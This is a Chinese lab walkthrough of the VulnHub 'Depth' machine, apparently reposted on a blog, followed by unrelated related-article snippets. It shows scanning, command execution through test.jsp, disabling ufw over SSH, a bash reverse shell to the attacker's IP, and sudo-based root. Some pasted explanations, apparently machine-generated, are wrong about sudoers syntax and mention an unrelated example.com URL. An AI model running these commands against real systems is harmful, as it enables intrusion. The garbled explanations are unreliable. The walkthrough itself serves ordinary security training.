Depth靶机详解

news2024/9/22 14:36:24

靶机下载地址

https://www.vulnhub.com/entry/depth-1,213/

主机发现

arp-scan -l 

端口扫描

nmap -sV -A -T4 192.168.229.156

端口利用

http://192.168.229.156:8080/

目录扫描

dirb "http://192.168.229.156:8080"

dirsearch -u "http://192.168.229.156:8080"

拼接访问

提示我们可以使用命令

http://192.168.229.156:8080/test.jsp

尝试使用命令

ls -la /home

在 Linux 系统中,/home 目录通常包含每个用户的个人目录。使用 ls -la /home 命令可以查看 /home 目录下的内容,包括隐藏文件和目录。

具体的输出内容取决于系统上是否有用户创建了个人目录,以及这些用户是否有特定的权限或属性。

以下是一些常见的输出示例:

drwxr-xr-x 2 user1 users 4096 Sep 13 12:34 user1
drwxr-xr-x 2 user2 users 4096 Sep 12 08:15 user2
drwxr-xr-x 2 user3 users 4096 Sep 11 20:45 user3

其中,每行表示一个目录,其中包含以下信息:

  • 权限:以 drwxr-xr-x 开头,表示目录的权限和属性。
  • 硬链接数:表示目录的硬链接数,通常为 2。
  • 所有者:表示目录的所有者,通常为用户名。
  • 组:表示目录所属的组,通常为组名。
  • 大小:表示目录的大小,以字节为单位。
  • 修改时间:表示目录的最后修改时间。
  • 目录名:表示目录的名称,通常为用户名。

这些信息可以帮助你了解系统上是否有个人目录,以及每个用户的个人目录的权限和属性。

反弹shell

尝试是否可以输入反弹shell命令

开启监听

nc -lvvp 6767

谷歌插件生成命令,IP是kali的ip

bash -i >& /dev/tcp/192.168.229.132/6767 0>&1

反弹失败

查看进程
ps aux

发现开启了ssh服务,之前端口扫描扫不到可能是因为防火墙开启,查看etc
ls -ls /etc

linux防火墙ufw,说明存在防火墙

在 Linux 系统中,/etc 目录通常包含系统配置文件。以下是一些与防火墙相关的文件名:

  • iptables.rules:这是一个常见的文件名,用于保存 iptables 的规则。
  • iptables.up.rules:这是一个文件名,用于保存 iptables 的规则,在系统启动时加载。
  • firewalld.conf:这是一个文件名,用于配置 firewalld 服务的配置文件。
  • ufw.conf:这是一个文件名,用于配置 ufw(Uncomplicated Firewall)的配置文件。
  • ufw.rules:这是一个文件名,用于保存
尝试关闭防火墙

在 Linux 系统中,关闭防火墙的命令可能因不同的发行版而异。以下是一些常见的命令:

  • Ubuntu/Debian 系列:
sudo ufw disable
  • CentOS/Fedora 系列:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
  • Arch Linux:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
  • OpenSUSE:
sudo systemctl stop SuSEfirewall2
sudo systemctl disable SuSEfirewall2

这些命令将关闭系统的防火墙,并禁止防火墙在系统启动时自动启动。

请注意,上述命令需要在具有 root 权限的用户下执行。

执行命令
ssh bill@localhost sudo ufw disable

这个命令的含义是:

  1. 使用 SSH 连接到名为 bill 的用户的本地主机。
  2. 使用 sudo 命令以超级用户权限运行 ufw disable 命令。

具体来说,sudo 命令用于以超级用户权限运行命令,而 ufw disable 命令用于禁用 Uncomplicated Firewall (UFW)。

在实际执行这个命令之前,你需要确保以下条件:

  1. 当前用户有权限使用 SSH 连接到名为 bill 的用户的本地主机。
  2. 名为 bill 的用户具有超级用户权限,即在系统上具有 root 权限。
  3. UFW 服务已经正确安装并在系统上运行。
尝试利用ssh再次反弹shell
开启监听
nc -lvvp 6767

ssh bill@localhost bash -i >& /dev/tcp/192.168.229.132/6767 0>&1

反弹成功

提权

当在Linux或Unix系统中输入sudo -l命令时,会显示当前用户能够使用sudo命令执行的命令列表。

sudo -l命令的作用是列出当前用户能够使用sudo命令执行的命令,而不需要输入密码。当用户尝试使用sudo命令执行某些命令时,系统会检查该用户的权限是否允许执行该命令。如果用户有权限执行该命令,那么sudo命令会允许用户执行该命令,否则会提示用户没有权限执行该命令。

sudo -l命令可以帮助用户了解当前用户的权限范围,以便更好地使用sudo命令执行命令。

例如,如果当前用户是admin用户,并且想要查看admin用户能够使用sudo命令执行的命令,可以输入以下命令:

sudo -l

如果输出显示admin用户有权限执行某些命令,那么说明admin用户可以使用sudo命令执行这些命令,而不需要输入密码。

如果输出显示admin用户没有权限执行任何命令,那么说明admin用户没有任何使用sudo命令执行命令的权限,或者系统配置了禁止使用sudo命令执行某些命令的策略。

sudo -l命令的输出结果可能包括以下几种情况:

  1. 显示当前用户能够使用sudo命令执行的命令列表,例如:
(admin) ALL = (ALL) ALL

表示admin用户可以使用sudo命令执行所有命令,并且不需要输入密码。

  • 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,例如:
(admin) ALL = (ALL) NOPASSWD: ALL

表示admin用户可以使用sudo命令执行所有命令,但是需要输入密码。

  • 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,并且只有在特定时间段内才可以执行,例如:
(admin) ALL = (ALL) NOPASSWD: ALL, !/usr/bin/passwd

表示admin用户可以使用sudo命令执行所有命令,但是需要输入密码,并且除了执行/usr/bin/passwd命令外,其他命令都可以不输入密码。

  • 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,并且只有在特定时间段内才可以执行,并且需要输入特定的密码,例如:
(admin) ALL = (ALL) PASSWD: ALL, !/usr/bin/passwd

表示admin用户可以使用sudo命令执行所有命令,并且需要输入密码,并且除了执行/usr/bin/passwd命令外,其他命令都需要输入特定的密码。

需要注意的是,sudo -l命令只会显示当前用户能够使用sudo命令执行的命令列表,而不包括其他用户的权限设置。如果想要查看其他用户的权限设置,需要使用sudo命令进行操作,并且需要其他用户的密码。

因此,sudo -l命令是一个非常有用的命令,可以帮助用户了解当前用户的权限范围,以便更好地使用sudo命令执行命令。

如果没有输出结果或者显示没有权限,那么表明当前用户没有任何使用sudo命令执行命令的权限,或者系统配置了禁止使用sudo命令执行某些命令的策略。

sudo -l

根据提供的信息,我们能够得知以下内容:

  1. 目标 URL 是 https://example.com/api/search
  2. 使用 sudo -l 命令的输出显示,用户 bill 可以以任何用户身份运行任何命令,包括 root 用户。
  3. 用户 bill 可以以超级用户权限运行任何命令,而无需输入密码。

根据这些信息,我们可以尝试以下方法来提权:

  1. 使用 sudo su 命令切换到 root 用户,不需要输入密码。
  2. 使用 sudo -u root 命令以 root 用户的身份执行命令,不需要输入密码。
  3. 使用 sudo bash 命令以 root 用户的身份启动一个新的 Bash 会话,不需要输入密码。
sudo su
whoami
id

提权成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2139276.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UDP_SOCKET编程实现

文章目录 socket编程接口认识struct sockaddr类 编写一个server服务Client代码查看启动结果代码修正1.获取内核分配给客户端的信息2.修正不匹配ip不能访问的问题 不同机器之间的通信利用xftp将udp_client传给wsl的ubuntu机器进行演示现在模拟在windows下的udp_client代码: 对方…

松材线虫多光谱数据集

松材线虫多光谱数据集 无人机:dji mavic3 mutispectral 波段:red green rededge nir rgb 面积:39.05平方公里 数据:rgb影像,四个单波段影像,NDVI GNDVI LCI NDRE OSAVI 5个指数图 分辨率:0.03&a…

【智路】智路OS 欢迎来到智路OS路侧操作系统开发手册

https://airos-edge.readthedocs.io/zh/latest/ 欢迎来到智路OS路侧操作系统开发手册 智路OS 是一套完整的软件和服务开放系统, 由路侧操作系统(airos-edge),车端(airos-vehicle)和云端开发者平台共同构成…

【Spring Boot】SpringBoot自动装配-Import

目录 一、前言二、 定义三、使用说明3.1 创建项目3.1.1 导入依赖3.1.2 创建User类 3.2 测试导入Bean3.2.1 修改启动类 3.3 测试导入配置类3.3.1 创建UserConfig类3.3.2 修改启动类 3.4 测试导入ImportSelector3.4.1 创建UseImportSelector类3.4.2 修改启动类3.4.3 启动测试 3.5…

Python 二维码(QR码)生成器:使用python-qrcode简化条码创建

在数字时代,QR码已成为快速信息共享和数据传输的必备工具。无论是用于市场营销活动、活动签到,还是仅仅分享Wi-Fi凭证,QR码都提供了一种方便的方式来打包和扫描访问信息。今天,我们将探索python-qrcode库,这是一个强大…

Golang | Leetcode Golang题解之第409题最长回文串

题目&#xff1a; 题解&#xff1a; func longestPalindrome(s string) int {mp : map[byte]int{}for i : 0; i < len(s); i {mp[s[i]]}res : 0for _, v : range mp {if v&1 1 {res v - 1} else {res v}}if res<len(s) {res}return res }

【MyBatis精讲】从入门到精通的详细指南:简化Java持久层操作的艺术

文章目录 【MyBatis精讲】从入门到精通的详细指南&#xff1a;简化Java持久层操作的艺术1.mybatis快速入门1.1创建步骤1.2mapper代理开发模式 2.mybatis增删改查2.1查询所有数据2.2 id查询数据2.3插入数据2.4修改数据2.5删除数据2.6 mybatis多条件查询2.7 mybatis动态条件查询 …

HTML标签优先级

HTML&#xff08;HyperText Markup Language&#xff09;标签的位置对于页面的结构、性能以及可维护性至关重要。合理安排标签的位置不仅有助于提高网页的加载速度&#xff0c;还能使得代码更加清晰易懂。以下是一些关于HTML标签放置的基本规则和建议&#xff1a; 1. 文档类型…

web安卓逆向之必学HTML基础知识

文章目录 HTML基础知识一、HTML的介绍1. HTML定义2. HTML 的作用1. 定义网页的结构2. 实现超文本链接3. 支持多媒体内容4. 提供表单交互5. 提高网页的可访问性和 SEO 3. 小结 二、html的基本结构1. HTML 基本结构2. HTML 基本结构的详细介绍3. 教学案例4. 补充知识5. 小结 三、…

【网络通信基础与实践第三讲】传输层协议概述包括UDP协议和TCP协议

一、进程间的通信 通信的两端应当是两个主机中的应用进程&#xff0c;也就是说&#xff0c;端到端的通信是应用进程之间的通信 运输层有一个很重要的功能就是复用和分用&#xff0c;复用是指在发送方不同的应用进程都可以使用同一个运输层协议传送数据&#xff0c;分用是指接…

C++前后缀分解

相关知识点 C算法与数据结构 打开打包代码的方法兼述单元测试 这个算法很容易想到&#xff0c;学习了本文后&#xff0c;可以更快得想到。 前后缀分解 分治法的一种&#xff0c;将数组和字符串&#xff0c;拆分成前缀和后缀。字符串(数组&#xff09;的前缀是字符串的前i个元…

QT模型视图结构2

文章目录 Qt 模型视图结构——模型类(二)1.基本概念1.1.模型的基本结构1.2.模型索引1.3.行号和列号1.4.父项1.5.项的角色 Qt 模型视图结构——模型类(二) ​ 模型/视图结构是一种将数据存储和界面展示分离的编程方法。模型存储数据&#xff0c;视图组件显示模型中的数据&#…

ChatGPT提示词-中文版(awesome-chatgpt-prompts中文版)

原是Github上110.6K星的项目&#xff1a;GitHub - f/awesome-chatgpt-prompts: This repo includes ChatGPT prompt curation to use ChatGPT better. 我翻译成了中文需要自提 我用夸克网盘分享了「Chat GPT提示词.csv」&#xff0c;点击链接即可保存。打开「夸克APP」在线查看…

Windows11 WSL2的ubuntu 22.04中拉取镜像报错

问题描述 在windows11 WSL2的ubuntu 22.04中拉取镜像报错。错误为&#xff1a; Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting header…

深度学习的关键数据结构——张量解释

参考英文文章: https://deeplizard.com/learn/video/Csa5R12jYRghttps://deeplizard.com/learn/video/Csa5R12jYRg 什么是张量&#xff08;Tensor&#xff09; 神经网络中的输入、输出和变换都是用张量表示的&#xff0c;因此&#xff0c;神经网络编程大量使用张量。张量的概念…

【资料分析】特殊考点——拉动增长、贡献率、容斥问题

拉动增长和增量贡献率 第X产业增加值 是一个整体名称&#xff0c;例如张狗剩这是一个整体的名字 增量贡献率 部分增量/ 整体增量&#xff0c;已知增量贡献率80.6%,对应的部分增量可以求得&#xff08;现期2632&#xff0c;增长率10.3%&#xff0c;可用假设分配&#xff09;&a…

【Linux 20】进程控制

文章目录 &#x1f308; 一、创建线程⭐ 1. 线程创建函数⭐ 3. 给线程传参⭐ 4. 创建多线程⭐ 5. 获取线程 ID &#x1f308; 二、终止线程⭐1. 使用 return 终止线程⭐ 2. 使用 pthread_exit 函数终止线程⭐ 3. 使用 pthread_cancel 函数终止线程 &#x1f308; 三、等待线程⭐…

如何查看串口被哪个程序占用?截止目前最方便的方法

痛点&#xff1a;串口因为某种原因被占用&#xff0c;如何找到罪魁祸首&#xff1f; 做开发的小伙伴们&#xff0c;经常会遇到这样的问题&#xff1a;串口因为某种原因被占用&#xff0c;导致无法通讯&#xff0c;但是又找不到被哪个程序占用。只有重启电脑&#xff0c;才能解…

Python计算机视觉 第10章-OpenCV

Python计算机视觉 第10章-OpenCV OpenCV 是一个C 库&#xff0c;用于&#xff08;实时&#xff09;处理计算视觉问题。实时处理计算机视觉的 C 库&#xff0c;最初由英特尔公司开发&#xff0c;现由 Willow Garage 维护。OpenCV 是在 BSD 许可下发布的开源库&#xff0c;这意味…

[产品管理-20]:NPDP新产品开发 - 18 - 产品设计与开发工具 - 初始设计与规格定义

目录 前言&#xff1a; 一、什么是初始设计规格 二、初始设计与规格定义的工具 2.1 用户 - 功能性设计 1、定义与目的 2、主要内容 3、重要性 4、注意事项 2.2 用户 - 可用性设计 1、定义与目的 2、主要原则 3、实施步骤 4、重要性 2.3 生产 - 可生产性设计 1、…